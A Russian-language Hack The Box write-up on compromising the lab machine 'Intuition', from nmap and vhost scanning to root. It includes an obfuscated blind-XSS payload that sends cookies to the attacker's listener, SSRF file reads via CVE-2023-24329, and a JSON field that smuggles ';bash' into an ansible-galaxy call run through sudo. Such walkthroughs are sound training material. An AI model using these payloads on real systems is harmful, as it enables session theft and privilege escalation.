Авторы: FaLLenSkiLL Malwarya
Ссылка на тачку HTB:
https://app.hackthebox.com/machines/Intuition
Разведка
Сканируем порты nmap-ом:
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-04-30 13:20 +05
Nmap scan report for 10.10.11.15
Host is up (0.090s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Сразу для удобства добавляем запись в hosts
echo "10.10.11.15 comprezzor.htb" | sudo tee -a /etc/hosts
На домене comprezzor.htb видим возможность загружать и сжимать файлы
Сжатие происходит по алгоритму “LZMA”
На данный алгоритм есть CVE, будем иметь в виду
Но после нескольких безуспешных попыток проэксплуатировать эту уязвимость, было принято решения поискать другие вектора атаки
Поищем существующие поддомены:
gobuster vhost --append-domain -u http://comprezzor.htb -w /usr/share/seclists/Discovery/DNS/namelist.txt --random-agent -t 600
Найденные поддомены добавляем в /etc/hosts
echo "10.10.11.15 auth.comprezzor.htb" | sudo tee -a /etc/hosts
echo "10.10.11.15 dashboard.comprezzor.htb" | sudo tee -a /etc/hosts
echo "10.10.11.15 report.comprezzor.htb" | sudo tee -a /etc/hosts
На поддомене auth.comprezzor.htb нас встречает форма авторизации
User flag
Зарегистрировав новую учетную запись, войдем под своим пользователем. Получаем возможность отправлять репорты
В данной форме находим Blind XSS, позволяющую получить куки пользователя. Используем следующий payload:
<img src=x onerror='eval(atob("ZmV0Y2goJ2h0dHA6Ly8xMC4xMC4xNC4zNjo3Nzc3Lz9jb29raWU9Jytkb2N1bWVudC5jb29raWUp"));' />
Таким образом на прослушиватель прилетят куки пользователя:
Вместо nc также можно использовать и python server:
Используем куки для получения сессии
Видим dashboard, где репорты имеют определенные приоритеты. Чтобы захватить куки админа, наш репорт с payload-ом должен иметь 1 приоритет.
Выставляем повышенный приоритет своему репорту
Отправляем payload и перехватываем куки админа
Также, как и с webdev используем его сессию для получения доступа в функционалу создания PDF репортов
Через уязвимую форму URL отправим запрос на свой же IP
В возвращенном пакете данных видим, что используется Python-urllib версии 3.11. При поиске связанных уязвимостей было обнаружено, что существует CVE-2023-24329. Принцип таков: когда URL начинается с пустого символа, у urllib.pу parse возникают проблемы с синтаксическим анализом (влияющие на разрешение имени хоста и схемы). Любой метод фильтрации по домену или протоколу, реализованный с использованием списка блокировок, можно обойти, указав URL-адрес, начинающийся с пустого символа. Успешное использование этой уязвимости может привести к произвольному чтению файлов, выполнению команд или SSRF.
Таким образом мы можем читать любые файлы
Прочитаем /proc/self/cmdline
для просмотра текущего процесса
Теперь можем посмотреть на исходный код приложения, где виден flask secret key
Нужно обратить внимание на то, что этот скрипт также импортирует и другие модули, а именно index, report, auth и dashboard в разделе bludeprints. Сразу можно предположить, что исходный код является скриптом .py. Попробуем прочитать их.
file:///app/code/blueprints/index/index.py
file:///app/code/blueprints/report/report.py
file:///app/code/blueprints/auth/auth.py
file:///app/code/blueprints/dashboard/dashboard.py
Находим пароль админа
Подключаемся к внутреннему ftp через уязвимость SSRF
ftp://ftp_admin:[email protected]
Читаем файлы, которые находятся на внутреннем ftp
Получаем зашифрованный ssh key
ftp://ftp_admin:[email protected]/private-8297.key
Рядом с приватным ключом была записка, содержащая пароль для расшифровки
ftp://ftp_admin:[email protected]/welcome_note.txt
Расшифровываем приватный ключ и подключаемся по ssh
Получаем user flag
Privilege escalation
Я начал с просмотра открытых портов, но к сожалению там не оказалось ничего интересного
В отличии от директории /var/www/app
, где оказалась база данных пользователей
Просматриваем БДшку
Достаем хеши и с сбрученным паролем подключаемся по ftp
После чего достаем от туда все файлы
Просматривая полученный код, я обнаружил, что файл в основном выполняет команды ansible-playbook.
Основная программная логическая функция обрабатывает параметры командной строки и определяет режим работы. Основными операционными запросами являются: список, запуск и установка running. Playbook получит имя файла playbook, создаст командную строку для использования ansible-playbook и использует эту функцию для выполнения команды. Системная функция Listing Playbooks просканирует каталог PLAYBOOK_LOCATION. Это нам поможем в дальнейшем, при повышении до root.
С директории с сурикатой находим креды от пользователя Lopez
Root flag
Lopez может выполнять runner2 из под sudo, и он также является членом группы пользователей sys-adm
Мы можем создать .tar.gz и изменить его имя для выполнения любой команды. Следует отметить, что /usr/bin/ansible-galaxy проверит, является ли это допустимым сжатым файлом, поэтому для его создания необходимо использовать шаблон.
https://github.com/coopdevs/sys-admins-role/archive/v0.0.3.tar.gz
Создаем нужный json файл
{
"run":{
"action":"install",
"role_file":"admin.tar.gz;bash"
},
"auth_code":"UHI75GHINKOP"
}
Повышаемся до root
Tags: